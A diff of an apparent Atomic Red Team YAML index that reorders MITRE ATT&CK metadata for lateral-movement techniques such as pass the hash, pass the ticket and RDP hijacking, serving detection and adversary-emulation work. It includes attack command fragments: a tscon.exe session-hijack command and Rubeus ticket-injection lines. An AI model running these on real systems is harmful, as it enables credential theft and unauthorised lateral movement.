-      modified: '2021-04-22T20:23:01.478Z'
-      created: '2018-04-18T17:59:24.739Z'
       x_mitre_contributors:
       - ExtraHop
-      x_mitre_version: '1.1'
       x_mitre_detection: Detecting software exploitation may be difficult depending
         on the tools available. Software exploits may not always succeed or may cause
         the exploited process to become unstable or crash. Also look for behavior
@@ -68768,57 +70924,26 @@ lateral-movement:
         to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
         for attempts to hide execution, evidence of Discovery, or other unusual network
         traffic that may indicate additional tools transferred to the system.
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
-      x_mitre_system_requirements:
-      - Unpatched software or otherwise vulnerable target. Depending on the target
-        and goal, the system and exploitable service may need to be remotely accessible
-        from the internal network.
-      x_mitre_is_subtechnique: false
+      created: '2018-04-18T17:59:24.739Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1534:
     technique:
-      id: attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747
-      description: |-
-        Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)
-
-        Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.
-
-        There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)
-      name: Internal Spearphishing
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - external_id: T1534
-        source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1534
-      - description: Chris Taylor. (2017, October 5). When Phishing Starts from the
-          Inside. Retrieved October 8, 2019.
-        url: https://blog.trendmicro.com/phishing-starts-inside/
-        source_name: Trend Micro When Phishing Starts from the Inside 2017
-      - description: THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved
-          October 8, 2019.
-        url: https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6
-        source_name: THE FINANCIAL TIMES LTD 2019.
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-04-14T14:32:14.273Z'
-      created: '2019-09-04T19:26:12.441Z'
-      x_mitre_is_subtechnique: false
+      name: Internal Spearphishing
       x_mitre_data_sources:
       - 'Application Log: Application Log Content'
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2021-04-14T14:32:14.273Z'
+      created: '2019-09-04T19:26:12.441Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      id: attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747
       x_mitre_platforms:
       - Windows
       - macOS
@@ -68826,6 +70951,15 @@ lateral-movement:
       - Office 365
       - SaaS
       - Google Workspace
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)
+
+        Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.
+
+        There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)
       x_mitre_contributors:
       - Tim MalcomVetter
       - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
@@ -68835,20 +70969,44 @@ lateral-movement:
         or incorporate service-integrated solutions using on-premise or API-based
         integrations to help detect internal spearphishing attacks.(Citation: Trend
         Micro When Phishing Starts from the Inside 2017)'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1534
+        external_id: T1534
+        source_name: mitre-attack
+      - source_name: Trend Micro When Phishing Starts from the Inside 2017
+        description: Chris Taylor. (2017, October 5). When Phishing Starts from the
+          Inside. Retrieved October 8, 2019.
+        url: https://blog.trendmicro.com/phishing-starts-inside/
+      - source_name: THE FINANCIAL TIMES LTD 2019.
+        description: THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved
+          October 8, 2019.
+        url: https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6
     atomic_tests: []
   T1570:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1570
-        url: https://attack.mitre.org/techniques/T1570
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-09-28T21:17:42.490Z'
       name: Lateral Tool Transfer
+      x_mitre_data_sources:
+      - 'Network Share: Network Share Access'
+      - 'Named Pipe: Named Pipe Metadata'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'File: File Creation'
+      - 'File: File Metadata'
+      x_mitre_version: '1.1'
+      created: '2020-03-11T21:01:00.959Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5
       description: Adversaries may transfer tools or other files between systems in
         a compromised environment. Files may be copied from one system to another
         to stage adversary tools or other files over the course of an operation. Adversaries
@@ -68858,84 +71016,72 @@ lateral-movement:
         Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop
         Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be
         copied over on Mac and Linux with native tools like scp, rsync, and sftp.
-      id: attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
-      modified: '2020-03-23T22:10:10.862Z'
-      created: '2020-03-11T21:01:00.959Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: 'Monitor for file creation and files transferred within a
         network using protocols such as SMB. Unusual processes with internal network
         connections creating files on-system may be suspicious. Consider monitoring
         for abnormal usage of utilities and command-line arguments that may be used
         in support of remote transfer of files. Considering monitoring for alike file
         hashes or characteristics (ex: filename) that are created on multiple hosts.'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'File: File Creation'
-      - 'File: File Metadata'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1570
+        external_id: T1570
+        source_name: mitre-attack
     atomic_tests: []
   T1550.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550.002
-        url: https://attack.mitre.org/techniques/T1550/002
-      - external_id: CAPEC-644
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/644.html
-      - source_name: Stealthbits Overpass-the-Hash
-        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
-        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
-          Attacks. Retrieved February 4, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Pass the Hash
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      - 'Active Directory: Active Directory Credential Request'
+      x_mitre_version: '1.1'
+      modified: '2021-08-31T19:55:02.702Z'
+      created: '2020-01-30T16:36:51.184Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e
       description: |-
         Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.
 
         When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
 
         Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)
-      id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-03-15T21:04:33.228Z'
-      created: '2020-01-30T16:36:51.184Z'
-      x_mitre_defense_bypassed:
-      - System Access Controls
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Blake Strom, Microsoft 365 Defender
+      - Travis Smith, Tripwire
       x_mitre_detection: |-
         Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.
 
         Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
-      - 'Active Directory: Active Directory Credential Request'
-      x_mitre_contributors:
-      - Blake Strom, Microsoft 365 Defender
-      - Travis Smith, Tripwire
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550/002
+        external_id: T1550.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/644.html
+        external_id: CAPEC-644
+        source_name: capec
+      - url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
+        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
+          Attacks. Retrieved February 4, 2021.
+        source_name: Stealthbits Overpass-the-Hash
       identifier: T1550.002
     atomic_tests:
     - name: Mimikatz Pass the Hash
@@ -69030,37 +71176,56 @@ lateral-movement:
         name: command_prompt
   T1550.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550.003
-        url: https://attack.mitre.org/techniques/T1550/003
-      - external_id: CAPEC-645
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/645.html
-      - url: https://adsecurity.org/?p=556
-        description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
-          Kerberos Attacks. Retrieved June 2, 2016.
-        source_name: ADSecurity AD Kerberos Attacks
-      - url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
-        description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
-          2, 2016.
-        source_name: GentilKiwi Pass the Ticket
-      - url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
-        description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
-          4, 2014.
-        source_name: Campbell 2014
-      - source_name: Stealthbits Overpass-the-Hash
-        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
-        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
-          Attacks. Retrieved February 4, 2021.
-      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
-        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
-          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
-        source_name: CERT-EU Golden Ticket Protection
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Pass the Ticket
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550/003
+        external_id: T1550.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/645.html
+        external_id: CAPEC-645
+        source_name: capec
+      - source_name: ADSecurity AD Kerberos Attacks
+        description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
+          Kerberos Attacks. Retrieved June 2, 2016.
+        url: https://adsecurity.org/?p=556
+      - source_name: GentilKiwi Pass the Ticket
+        description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
+          2, 2016.
+        url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
+      - source_name: Campbell 2014
+        description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
+          4, 2014.
+        url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
+      - url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
+        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
+          Attacks. Retrieved February 4, 2021.
+        source_name: Stealthbits Overpass-the-Hash
+      - source_name: CERT-EU Golden Ticket Protection
+        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
+          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
+        url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      - 'Active Directory: Active Directory Credential Request'
+      x_mitre_version: '1.1'
+      modified: '2021-08-31T19:56:31.341Z'
+      x_mitre_system_requirements:
+      - Kerberos authentication enabled
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926
       description: |-
         Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
 
@@ -69071,34 +71236,15 @@ lateral-movement:
         A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)
 
         Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)
-      id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-03-15T21:42:11.839Z'
-      created: '2020-01-30T17:03:43.072Z'
-      x_mitre_defense_bypassed:
-      - System Access Controls
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Kerberos authentication enabled
+      x_mitre_contributors:
+      - Vincent Le Toux
+      - Ryan Becwar
       x_mitre_detection: |-
         Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.
 
         Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
-      - 'Active Directory: Active Directory Credential Request'
-      x_mitre_contributors:
-      - Vincent Le Toux
-      - Ryan Becwar
-      x_mitre_platforms:
-      - Windows
+      created: '2020-01-30T17:03:43.072Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1550.003
     atomic_tests:
     - name: Mimikatz Kerberos Ticket Attack
@@ -69208,58 +71354,58 @@ lateral-movement:
           /ptt\nRemove-Item $env:TEMP\\ticket.kirbi\n& \"#{rubeus_path}\" purge      \n"
   T1563.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1563.002
-        url: https://attack.mitre.org/techniques/T1563/002
-      - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
-        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
-          2016.
-        source_name: TechNet Remote Desktop Services
-      - url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
-        description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking
-          Feature All Windows versions. Retrieved December 11, 2017.
-        source_name: RDP Hijacking Korznikov
-      - url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
-        description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
-          RDS and RemoteApp sessions transparently to move through an organisation.
-          Retrieved December 11, 2017.
-        source_name: RDP Hijacking Medium
-      - url: https://github.com/nccgroup/redsnarf
-        description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December
-          11, 2017.
-        source_name: Kali Redsnarf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: RDP Hijacking
-      description: |-
-        Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
-
-        Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)
-      id: attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2020-03-23T23:24:39.182Z'
-      created: '2020-02-25T18:35:42.765Z'
+      name: RDP Hijacking
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Traffic Content'
       - 'Logon Session: Logon Session Creation'
       - 'Command: Command Execution'
       - 'Process: Process Creation'
-      x_mitre_detection: |-
-        Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.
-
-        Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.
       x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      modified: '2020-03-23T23:24:39.182Z'
+      created: '2020-02-25T18:35:42.765Z'
       x_mitre_permissions_required:
       - SYSTEM
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c
+      description: |-
+        Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
+
+        Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_detection: |-
+        Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.
+
+        Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1563/002
+        external_id: T1563.002
+        source_name: mitre-attack
+      - source_name: TechNet Remote Desktop Services
+        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
+          2016.
+        url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
+      - source_name: RDP Hijacking Korznikov
+        description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking
+          Feature All Windows versions. Retrieved December 11, 2017.
+        url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
+      - source_name: RDP Hijacking Medium
+        description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
+          RDS and RemoteApp sessions transparently to move through an organisation.
+          Retrieved December 11, 2017.
+        url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
+      - source_name: Kali Redsnarf
+        description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December
+          11, 2017.
+        url: https://github.com/nccgroup/redsnarf
       identifier: T1563.002
     atomic_tests:
     - name: RDP hijacking
@@ -69290,13 +71436,44 @@ lateral-movement:
         elevation_required: true
   T1021.001:
     technique:
-      created: '2020-02-11T18:23:26.059Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Remote Desktop Protocol
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1021/001
+        external_id: T1021.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/555.html
+        external_id: CAPEC-555
+        source_name: capec
+      - source_name: TechNet Remote Desktop Services
+        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
+          2016.
+        url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
+      - source_name: Alperovitch Malware
+        description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions.
+          Retrieved November 4, 2014.
+        url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.0'
       modified: '2020-02-25T19:23:34.204Z'
+      x_mitre_system_requirements:
+      - RDP service enabled, account in the Remote Desktop Users group
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
-      type: attack-pattern
       id: attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Remote Desktop Users
+      - User
       description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)
         to log into a computer using the Remote Desktop Protocol (RDP). The adversary
         may then perform actions as the logged-on user.\n\nRemote desktop is a common
@@ -69310,47 +71487,16 @@ lateral-movement:
         to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility
         Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation:
         Alperovitch Malware)"
-      name: Remote Desktop Protocol
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1021.001
-        url: https://attack.mitre.org/techniques/T1021/001
-      - external_id: CAPEC-555
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/555.html
-      - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
-        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
-          2016.
-        source_name: TechNet Remote Desktop Services
-      - url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
-        description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions.
-          Retrieved November 4, 2014.
-        source_name: Alperovitch Malware
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      x_mitre_contributors:
+      - Matthew Demaske, Adaptforward
       x_mitre_detection: Use of RDP may be legitimate, depending on the network environment
         and how it is used. Other factors, such as access patterns and activity that
         occurs after a remote login, may indicate suspicious or malicious behavior
         with RDP. Monitor for user accounts logged into systems they would not normally
         access or access patterns to multiple systems over a relatively short period
         of time.
-      x_mitre_permissions_required:
-      - Remote Desktop Users
-      - User
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_system_requirements:
-      - RDP service enabled, account in the Remote Desktop Users group
-      x_mitre_contributors:
-      - Matthew Demaske, Adaptforward
+      created: '2020-02-11T18:23:26.059Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1021.001
     atomic_tests:
     - name: RDP to DomainController
@@ -69485,46 +71631,19 @@ lateral-movement:
         elevation_required: true
   T1563:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1563
-        url: https://attack.mitre.org/techniques/T1563
-      - url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
-        description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
-          RDS and RemoteApp sessions transparently to move through an organisation.
-          Retrieved December 11, 2017.
-        source_name: RDP Hijacking Medium
-      - source_name: Breach Post-mortem SSH Hijack
-        url: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
-        description: Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr
-          11 security incident. Retrieved February 17, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
